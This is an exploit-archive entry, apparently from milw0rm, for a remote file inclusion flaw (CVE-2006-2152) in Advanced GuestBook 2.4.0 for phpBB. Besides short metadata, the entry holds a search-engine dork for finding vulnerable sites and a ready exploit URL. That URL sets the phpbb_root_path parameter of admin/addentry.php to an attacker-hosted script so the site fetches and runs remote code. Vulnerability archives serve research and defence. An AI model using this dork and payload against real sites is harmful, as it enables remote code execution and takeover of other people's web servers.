Advanced Guestbook 2.4.0 - 'phpBB' File Inclusion

Author: [Oo]
type: webapps
platform: php
port: 0
date_added: 2006-04-27
date_updated: 
verified: 1
codes: OSVDB-25261;CVE-2006-2152
tags: 
aliases: 
screenshot_url: 
application_url: 

Title: Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion
Dork: inurl:guestbook.php "Advanced GuestBook" "powered by phpbb"
Credits: [Oo]

Exploit: http://[url]/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://[badscript]?

# milw0rm.com [2006-04-28]
↑